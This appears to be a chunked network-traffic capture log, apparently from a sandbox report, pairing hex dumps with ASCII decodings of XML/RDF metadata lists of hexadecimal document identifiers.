72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 43 42 38 31 33 35 37 36 44 33 31 35 41 43 37 41 31 35 45 38 33 
41 45 46 42 32 33 46 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 44 43 36 41 32 46 34 46 36 37 
36 39 36 30 37 44 41 36 41 37 33 33 43 39 32 37 43 46 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 3
2 46 37 31 46 37 34 42 41 34 46 45 46 32 41 34 33 34 35 42 37 33 31 33 32 38 31 33 39 34 41 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 32 33 30 35 41 38 36 31 46 45 41 32 31 36 36 45 32 33 46 46 42 35 38 46 38 41 38 43 36 
31 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 30 
Data Ascii: i>22C852FB2DBA0F0F8E5B9A0490747247</rdf:li> <rdf:li>22CB813576D315AC7A15E83AEFB23F9E</rd
f:li> <rdf:li>22DC6A2F4F6769607DA6A733C927CF39</rdf:li> <rdf:li>22F71F74BA4FEF2A4345B7313281394A</rdf:li> 
<rdf:li>2305A861FEA2166E23FFB58F8A8C61AC</rdf:li> <rdf:li>230

2022-08-11 03:42:56 UTC 9226 IN Data Raw: 32 38 44 41 44 32 38 41 38 42 44 38 46 38 46 41 32 39 37 45 44 43 30 46 42 43 37 35 32 35 39 44 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 45 32 30 38 33 45 31 32 33 33 41 46 32 38 36 44 43 35 32 31 34 34 
33 42 36 46 30 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 45 38 39 38 36 35 46 33 37 31 38 3
7 44 31 43 41 45 36 41 36 46 44 44 31 31 34 42 46 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 45 
39 41 36 41 44 42 36 31 32 33 43 39 31 30 39 35 36 44 38 31 35 43 34 32 39 36 30 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 32 38 46 36 46 42 46 36 39 44 37 38 46 30 41 35 32 37 44 32 45 35 35 36 44 42 45 37 38 33 46 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 46 45 32 
Data Ascii: 28DAD28A8BD8F8FA297EDC0FBC75259D</rdf:li> <rdf:li>28E2083E1233AF286DC521443B6F0CB3</rdf:li> 
<rdf:li>28E89865F37187D1CAE6A6FDD114BF73</rdf:li> <rdf:li>28E9A6ADB6123C910956D815C42960B3</rdf:li> <rdf:l
i>28F6FBF69D78F0A527D2E556DBE783F3</rdf:li> <rdf:li>28FE2

2022-08-11 03:42:56 UTC 9242 IN Data Raw: 45 46 45 45 37 35 43 42 36 36 43 39 44 39 41 30 39 46 36 36 46 36 38 33 42 41 30 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 33 35 30 46 32 43 43 32 36 44 31 32 30 44 37 38 43 33 39 34 36 35 44 42 31 37 32 33 35 32 
38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 31 33 38 36 46 33 44 34 44 43 45 35 44 45 41 39 38 
42 33 41 41 37 46 33 34 34 31 32 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 31 41 38 35 37 41 3
0 42 38 33 30 37 38 46 31 45 33 42 45 43 31 45 38 39 30 36 42 33 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 33 35 31 42 46 34 31 36 34 33 41 33 44 34 37 43 37 42 34 42 33 44 31 38 39 39 45 43 35 33 42 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 31 46 44 33 46 36 34 33 
Data Ascii: EFEE75CB66C9D9A09F66F683BA0</rdf:li> <rdf:li>350F2CC26D120D78C39465DB17235282</rdf:li> <
rdf:li>351386F3D4DCE5DEA98B3AA7F3441208</rdf:li> <rdf:li>351A857A0B83078F1E3BEC1E8906B3F5</rdf:li> <
rdf:li>351BF41643A3D47C7B4B3D1899EC53BD</rdf:li> <rdf:li>351FD3F643

2022-08-11 03:42:56 UTC 9258 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 38 41 34 33 45 36 46 45 45 35 31 41 31 34 34 31 31 46 30 43 45 43 
33 34 43 45 39 41 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 39 41 30 38 31 33 31 43 31 46 42 
31 31 36 33 42 33 34 44 34 43 31 36 42 30 30 34 32 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 3
9 43 32 41 33 42 33 33 37 32 45 32 42 32 32 39 31 45 39 34 30 36 46 44 34 43 39 35 31 32 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 34 32 39 44 45 37 35 33 33 31 30 34 32 33 45 43 35 34 45 43 45 31 46 31 39 37 30 44 37 36 
44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 42 30 42 30 32 36 38 42 32 44 43 41 43 37 30 37 35 
32 39 41 37 31 44 37 37 34 32 38 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: i> <rdf:li>428A43E6FEE51A14411F0CEC34CE9A40</rdf:li> <rdf:li>429A08131C1FB1163B34D4C16B0
042B0</rdf:li> <rdf:li>429C2A3B3372E2B2291E9406FD4C9512</rdf:li> <rdf:li>429DE753310423EC54ECE1F1970
D76DB</rdf:li> <rdf:li>42B0B0268B2DCAC707529A71D774286C</rdf:li> <r

2022-08-11 03:42:56 UTC 9266 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 34 38 41 31 39 37 33 30 31 42 34 37 39 37 32 37 32 33 39 42 31 34 37 45 34 31 
42 33 33 41 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 41 35 44 43 43 33 44 45 42 45 38 39 30 
44 32 43 44 41 32 43 45 31 38 39 43 30 31 42 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 41 37 3
1 37 41 43 31 37 43 37 39 30 42 37 33 34 33 35 33 38 45 31 39 46 35 34 43 35 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 34 38 42 31 41 46 44 42 42 41 34 33 39 46 36 33 34 30 41 37 45 42 43 44 38 38 36 30 44 41 30 44 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 42 33 46 44 39 31 35 45 42 45 39 39 43 45 38 38 38 36 46 35 
44 34 36 32 33 38 30 32 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii:  <rdf:li>48A197301B479727239B147E41B33A65</rdf:li> <rdf:li>48A5DCC3DEBE890D2CDA2CE189C01
BC5</rdf:li> <rdf:li>48A717AC17C790B7343538E19F54C5B7</rdf:li> <rdf:li>48B1AFDBBA439F6340A7EBCD8860D
A0D</rdf:li> <rdf:li>48B3FD915EBE99CE8886F5D4623802E9</rdf:li> <rdf

2022-08-11 03:42:56 UTC 9282 IN Data Raw: 43 31 34 37 43 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 45 46 31 46 46 30 35 44 33 
30 31 39 33 30 36 31 35 41 33 44 30 39 31 32 31 42 42 41 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
35 35 45 46 36 34 43 44 42 36 38 45 44 31 30 42 38 32 30 43 31 44 37 31 42 46 33 32 37 46 44 39 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 46 30 44 41 41 32 44 36 42 31 33 36 43 39 43 42 43 44 37 36 38 35 34 31 38 39 
38 43 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 46 37 37 34 43 31 32 37 44 36 33 42 42 33 30 
37 37 44 35 35 30 43 43 43 45 35 44 34 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 46 42 38 42 
42 30 44 30 30 45 36 46 33 38 37 37 43 42 31 45 32 44 36 39 37 41 42 36 
Data Ascii: C147C8D</rdf:li> <rdf:li>55EF1FF05D301930615A3D09121BBA9D</rdf:li> <rdf:li>55EF64CDB68ED
10B820C1D71BF327FD9</rdf:li> <rdf:li>55F0DAA2D6B136C9CBCD768541898C88</rdf:li> <rdf:li>55F774C127D63
BB3077D550CCCE5D4A0</rdf:li> <rdf:li>55FB8BB0D00E6F3877CB1E2D697AB6
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2022-08-11 03:42:56 UTC 9286 IN Data Raw: 39 39 37 32 30 31 36 39 35 39 43 37 38 33 46 34 43 39 34 45 43 36 43 32 33 30 30 45 35 46 46 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 39 39 32 33 35 38 34 35 37 32 35 36 42 31 44 43 31 46 46 34 34 32 38 33 
33 43 35 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 39 43 37 32 30 32 45 39 46 30 42 42 34 
46 32 39 36 46 45 42 44 37 34 44 38 45 42 38 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 41 37 3
3 41 43 30 32 44 43 30 32 41 33 42 37 30 36 32 33 33 41 41 31 37 32 42 41 37 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 35 39 41 44 35 36 38 30 32 36 36 31 38 32 32 36 36 33 45 33 46 33 44 36 45 30 44 36 43 31 32 33 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 43 37 43 44 
Data Ascii: 9972016959C783F4C94EC6C2300E5FF</rdf:li> <rdf:li>59992358457256B1DC1FF442833C5392</rdf:li> 
<rdf:li>599C7202E9F0BB4F296FEBD74D8EB8C5</rdf:li> <rdf:li>59A73AC02DC02A3B706233AA172BA78A</rdf:li> 
<rdf:li>59AD56802661822663E3F3D6E0D6C123</rdf:li> <rdf:li>59C7CD

2022-08-11 03:42:56 UTC 9302 IN Data Raw: 39 46 41 33 37 45 39 36 30 44 44 39 36 38 30 46 41 34 42 42 31 31 38 32 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 36 37 45 43 33 33 36 33 34 34 45 31 38 31 41 30 31 42 35 36 41 44 34 39 37 45 41 35 46 36 46 
34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 46 42 44 41 39 33 33 36 34 37 35 33 36 39 37 32 39 43 
45 32 36 34 36 36 42 34 34 43 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 38 30 34 32 41 43 38 33 3
6 41 43 41 31 37 45 45 33 44 42 30 39 33 42 32 41 43 42 37 38 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 36 38 34 32 45 33 38 35 31 39 31 33 44 46 45 30 45 34 34 31 46 33 43 37 35 41 37 39 34 33 43 43 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 38 35 34 34 35 45 35 44 35 31 
Data Ascii: 9FA37E960DD9680FA4BB118234</rdf:li> <rdf:li>67EC336344E181A01B56AD497EA5F6F4</rdf:li> <r
df:li>67FBDA9336475369729CE26466B44C50</rdf:li> <rdf:li>68042AC836ACA17EE3DB093B2ACB78A9</rdf:li> <r
df:li>6842E3851913DFE0E441F3C75A7943CC</rdf:li> <rdf:li>685445E5D51

2022-08-11 03:42:56 UTC 9318 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 32 31 35 31 36 45 41 30 43 33 42 45 46 38 39 32 35 33 35 44 44 37 38 
37 38 44 36 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 33 32 36 38 30 42 34 42 39 36 39 39 
38 44 31 33 35 33 31 33 36 42 33 44 38 44 45 39 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 33 3
3 42 43 34 31 31 30 32 32 45 37 37 41 44 31 39 33 35 43 42 30 41 44 32 31 38 31 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 37 36 34 33 45 32 37 41 46 42 30 45 30 45 33 36 45 38 46 46 45 34 43 39 31 36 42 46 34 34 38 33 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 34 43 46 33 46 36 44 45 34 39 44 36 38 35 36 45 44 31 32 
36 35 30 45 33 32 43 36 44 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: > <rdf:li>7621516EA0C3BEF892535DD7878D6CD9</rdf:li> <rdf:li>7632680B4B96998D1353136B3D8D
E91C</rdf:li> <rdf:li>7633BC411022E77AD1935CB0AD21814D</rdf:li> <rdf:li>7643E27AFB0E0E36E8FFE4C916BF
4483</rdf:li> <rdf:li>764CF3F6DE49D6856ED12650E32C6D56</rdf:li> <rd

2022-08-11 03:42:56 UTC 9326 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 37 43 45 37 35 46 30 41 36 45 30 36 45 43 43 41 33 46 41 42 43 42 31 38 37 38 30 
30 36 46 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 46 35 43 35 45 46 41 45 34 36 35 42 39 32 
42 38 38 31 31 35 30 36 45 31 31 32 38 36 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 46 45 45 3
2 31 44 46 30 34 34 45 43 32 39 43 34 33 31 44 42 34 39 42 44 30 31 38 38 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 37 44 30 42 36 30 36 35 39 34 30 38 46 30 45 38 39 41 36 42 35 37 33 38 46 33 36 30 42 30 39 38 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 30 45 42 30 31 32 32 45 33 34 33 31 41 30 30 34 35 32 37 36 
35 37 39 41 34 46 38 30 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>7CE75F0A6E06ECCA3FABCB1878006F96</rdf:li> <rdf:li>7CF5C5EFAE465B92B8811506E11286
C9</rdf:li> <rdf:li>7CFEE21DF044EC29C431DB49BD018845</rdf:li> <rdf:li>7D0B60659408F0E89A6B5738F360B0
98</rdf:li> <rdf:li>7D0EB0122E3431A0045276579A4F80AB</rdf:li> <rdf:

2022-08-11 03:42:56 UTC 9342 IN Data Raw: 37 38 33 33 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 35 41 41 41 37 39 36 46 35 46 
43 46 46 44 44 39 31 31 45 42 31 30 35 46 39 41 35 35 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 
39 36 37 45 31 35 45 31 31 32 45 35 41 41 32 33 35 31 34 37 34 32 30 33 33 43 45 45 32 39 36 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 38 39 37 30 44 35 35 37 32 39 43 34 39 39 37 42 38 45 42 39 33 33 31 42 38 33 33 45 43 
39 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 37 37 34 30 30 46 41 43 44 38 32 35 33 36 37 44 
44 37 41 34 32 34 33 46 32 35 43 39 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 37 41 45 30 34 
46 39 38 33 45 46 42 33 34 46 45 45 39 30 30 30 39 42 34 34 44 31 38 45 
Data Ascii: 7833BF</rdf:li> <rdf:li>895AAA796F5FCFFDD911EB105F9A552E</rdf:li> <rdf:li>8967E15E112E5A
A23514742033CEE296</rdf:li> <rdf:li>8970D55729C4997B8EB9331B833EC907</rdf:li> <rdf:li>8977400FACD825
367DD7A4243F25C986</rdf:li> <rdf:li>897AE04F983EFB34FEE90009B44D18E

2022-08-11 03:42:56 UTC 9358 IN Data Raw: 36 45 34 42 36 39 35 31 31 42 43 44 33 32 39 35 45 46 45 42 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 39 38 30 31 42 43 43 33 31 41 45 43 30 32 36 39 37 36 30 33 41 46 38 41 44 39 39 36 39 44 31 30 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 30 35 33 35 33 45 30 36 37 34 31 38 39 43 41 39 43 46 41 33 46 45 
34 43 42 35 46 37 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 35 43 38 46 31 36 43 34 36 30 4
5 34 44 37 34 31 38 46 30 46 32 42 38 38 38 46 36 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 
39 36 44 33 36 45 34 31 45 39 45 37 31 36 36 43 33 44 39 38 39 43 43 30 31 35 42 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 39 38 31 41 43 31 34 42 44 41 35 39 37 37 31 
Data Ascii: 6E4B69511BCD3295EFEBF2</rdf:li> <rdf:li>9801BCC31AEC02697603AF8AD9969D10</rdf:li> <rdf:l
i>9805353E0674189CA9CFA3FE4CB5F762</rdf:li> <rdf:li>9815C8F16C460E4D7418F0F2B888F67D</rdf:li> <rdf:l
i>98196D36E41E9E7166C3D989CC015B75</rdf:li> <rdf:li>981AC14BDA59771

2022-08-11 03:42:56 UTC 9365 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 31 37 33 41 46 35 36 42 30 38 31 46 41 35 32 32 37 
39 30 43 32 45 32 43 43 46 33 31 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 31 42 35 35 30 34 
34 37 30 39 30 36 43 35 41 39 46 30 44 44 30 44 45 35 44 30 31 30 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 39 45 32 31 31 41 37 30 46 30 32 41 38 32 43 38 30 41 37 32 44 41 37 41 30 44 42 32 30 35 31 34 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 32 44 30 42 44 44 46 44 32 43 39 32 36 46 41 30 38 34 36 37 42 34 42 
35 36 34 34 38 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 33 30 39 34 39 44 36 46 31 31 35 45 
44 41 43 39 30 35 42 37 38 44 44 32 42 34 36 36 31 34 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>9E173AF56B081FA522790C2E2CCF3146</rdf:li> <rdf:li>9E1B5504470906C5A9F0D
D0DE5D010E5</rdf:li> <rdf:li>9E211A70F02A82C80A72DA7A0DB20514</rdf:li> <rdf:li>9E2D0BDDFD2C926FA0846
7B4B5644813</rdf:li> <rdf:li>9E30949D6F115EDAC905B78DD2B46614</rdf:

2022-08-11 03:42:56 UTC 9381 IN Data Raw: 45 41 36 34 42 45 44 38 39 31 34 44 30 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 42 
31 33 38 42 36 44 30 35 36 43 37 33 44 33 41 31 34 43 36 41 33 46 31 37 30 30 44 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 41 42 43 33 30 42 31 39 30 32 46 41 46 43 35 31 30 46 43 41 32 45 46 41 39 36 31 32 37 39 38 
45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 43 33 38 34 35 32 41 34 38 41 37 39 34 44 30 30 46 30 3
8 35 45 43 30 31 45 32 44 34 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 44 35 36 39 42 39 34 41 
32 38 30 39 44 41 33 44 31 39 32 42 31 35 43 30 39 31 46 33 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 41 42 45 45 41 35 44 43 41 44 37 35 46 34 31 46 33 33 38 38 31 30 
Data Ascii: EA64BED8914D0B8</rdf:li> <rdf:li>ABB138B6D056C73D3A14C6A3F1700DC3</rdf:li> <rdf:li>ABC30
B1902FAFC510FCA2EFA9612798E</rdf:li> <rdf:li>ABC38452A48A794D00F085EC01E2D446</rdf:li> <rdf:li>ABD56
9B94A2809DA3D192B15C091F3C3</rdf:li> <rdf:li>ABEEA5DCAD75F41F338810
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2022-08-11 03:42:56 UTC 9385 IN Data Raw: 72 64 66 3a 6c 69 3e 41 45 45 30 45 33 43 37 37 32 32 43 45 46 44 37 36 34 44 32 32 32 38 39 32 41 41 43 
38 46 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 45 38 30 45 41 41 35 42 35 30 45 46 41 43 37 
45 39 33 32 35 41 39 32 34 37 44 38 42 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 45 44 32 46 3
9 31 34 34 38 33 34 34 42 41 35 36 38 36 30 43 32 31 45 37 32 33 36 30 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 41 46 31 46 38 34 41 36 32 34 39 37 34 30 35 30 45 38 34 44 43 37 37 33 33 42 36 32 43 45 44 33 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 46 33 46 41 31 30 39 37 36 46 46 41 30 33 45 30 45 37 39 43 30 44 38 
42 45 37 46 34 33 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: rdf:li>AEE0E3C7722CEFD764D222892AAC8F06</rdf:li> <rdf:li>AEE80EAA5B50EFAC7E9325A9247D8B3
1</rdf:li> <rdf:li>AEED2F91448344BA56860C21E723601D</rdf:li> <rdf:li>AF1F84A624974050E84DC7733B62CED
3</rdf:li> <rdf:li>AF3FA10976FFA03E0E79C0D8BE7F4359</rdf:li> <rdf:l

2022-08-11 03:42:56 UTC 9401 IN Data Raw: 46 42 38 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 43 32 38 46 38 36 39 36 45 36 31 32 
45 34 44 31 31 39 30 37 35 38 38 43 34 44 42 35 46 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 43 
33 39 32 38 45 45 37 42 38 39 36 41 39 34 43 35 31 31 41 39 32 34 43 39 42 38 30 34 33 34 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 42 43 35 36 38 34 39 37 39 42 44 32 38 33 33 45 33 41 37 37 45 37 44 39 38 45 46 32 37 38 
42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 43 36 35 35 45 38 33 38 35 45 43 43 34 45 46 38 38 45 
34 39 32 36 32 45 32 41 32 44 38 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 43 39 38 30 43 33 39 
33 35 43 41 42 38 44 31 34 33 34 35 31 30 43 34 36 46 42 45 33 36 44 46 
Data Ascii: FB8D4</rdf:li> <rdf:li>BC28F8696E612E4D11907588C4DB5F6F</rdf:li> <rdf:li>BC3928EE7B896A9
4C511A924C9B80434</rdf:li> <rdf:li>BC5684979BD2833E3A77E7D98EF278B2</rdf:li> <rdf:li>BC655E8385ECC4E
F88E49262E2A2D811</rdf:li> <rdf:li>BC980C3935CAB8D1434510C46FBE36DF

2022-08-11 03:42:56 UTC 9417 IN Data Raw: 42 45 35 43 31 39 37 43 42 34 43 31 35 31 30 39 46 44 42 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 43 39 46 43 38 46 36 35 39 35 39 39 31 35 41 41 42 36 36 45 44 46 31 33 44 39 38 33 42 45 41 46 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 46 44 46 38 35 32 44 41 33 31 31 37 33 41 34 35 33 42 38 38 37 44 45 
43 42 31 45 30 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 30 39 36 38 31 36 36 38 43 39 45 30 4
4 37 35 33 42 46 41 36 45 34 35 30 34 30 45 44 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 30 41 
39 41 43 43 33 32 35 33 34 34 34 33 41 36 35 35 41 30 37 44 36 38 42 46 45 39 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 43 41 30 42 38 42 43 35 36 38 34 32 43 33 44 42 
Data Ascii: BE5C197CB4C15109FDB18</rdf:li> <rdf:li>C9FC8F65959915AAB66EDF13D983BEAF</rdf:li> <rdf:li
>C9FDF852DA31173A453B887DECB1E0CD</rdf:li> <rdf:li>CA09681668C9E0D753BFA6E45040EDF5</rdf:li> <rdf:li
>CA0A9ACC32534443A655A07D68BFE910</rdf:li> <rdf:li>CA0B8BC56842C3DB

2022-08-11 03:42:56 UTC 9425 IN Data Raw: 45 33 33 44 46 42 41 42 42 36 36 35 37 44 33 44 30 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 43 46 43 38 34 38 44 43 38 30 30 35 41 38 44 35 34 44 46 31 33 33 37 45 36 41 32 31 45 42 33 38 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 44 37 36 31 42 46 42 42 41 34 32 41 38 34 36 37 35 32 36 34 35 34 36 35 39 
42 30 38 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 30 30 30 36 38 34 35 30 42 46 31 45 35 43 43 4
2 41 36 45 41 32 36 46 31 36 39 45 35 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 30 30 31 38 41 
43 38 32 31 34 36 32 44 36 39 45 33 42 45 35 34 30 37 44 34 32 38 46 33 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 44 30 31 43 31 30 35 31 33 32 36 46 33 37 41 44 37 41 
Data Ascii: E33DFBABB6657D3D017</rdf:li> <rdf:li>CFC848DC8005A8D54DF1337E6A21EB38</rdf:li> <rdf:li>C
FD761BFBBA42A8467526454659B0816</rdf:li> <rdf:li>D00068450BF1E5CCBA6EA26F169E5900</rdf:li> <rdf:li>D
0018AC821462D69E3BE5407D428F39D</rdf:li> <rdf:li>D01C1051326F37AD7A

2022-08-11 03:42:56 UTC 9441 IN Data Raw: 41 32 33 42 42 34 37 37 45 34 35 43 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 43 36 
46 37 34 42 30 35 45 36 42 35 30 41 45 37 31 46 41 45 45 38 46 42 44 36 33 45 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 44 44 43 45 34 36 32 33 44 30 31 32 46 38 41 39 31 43 43 39 41 39 39 37 32 42 33 32 39 35 46 36 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 44 37 32 42 36 34 46 44 37 38 44 32 34 46 44 33 30 46 36 3
5 42 44 38 37 30 43 39 42 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 45 36 44 38 44 45 42 44 33 
35 32 38 32 45 43 34 39 46 42 33 37 42 36 45 38 39 36 38 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
44 44 46 33 34 44 32 30 42 46 45 36 32 33 36 45 39 44 32 37 34 34 46 
Data Ascii: A23BB477E45C7F</rdf:li> <rdf:li>DDC6F74B05E6B50AE71FAEE8FBD63EC8</rdf:li> <rdf:li>DDCE46
23D012F8A91CC9A9972B3295F6</rdf:li> <rdf:li>DDD72B64FD78D24FD30F65BD870C9B1B</rdf:li> <rdf:li>DDE6D8
DEBD35282EC49FB37B6E8968C0</rdf:li> <rdf:li>DDF34D20BFE6236E9D2744F

2022-08-11 03:42:56 UTC 9457 IN Data Raw: 39 31 37 38 43 42 34 30 36 38 35 44 31 33 42 43 45 36 32 30 42 32 38 37 36 46 31 33 30 46 3c 2f 72 64 66 
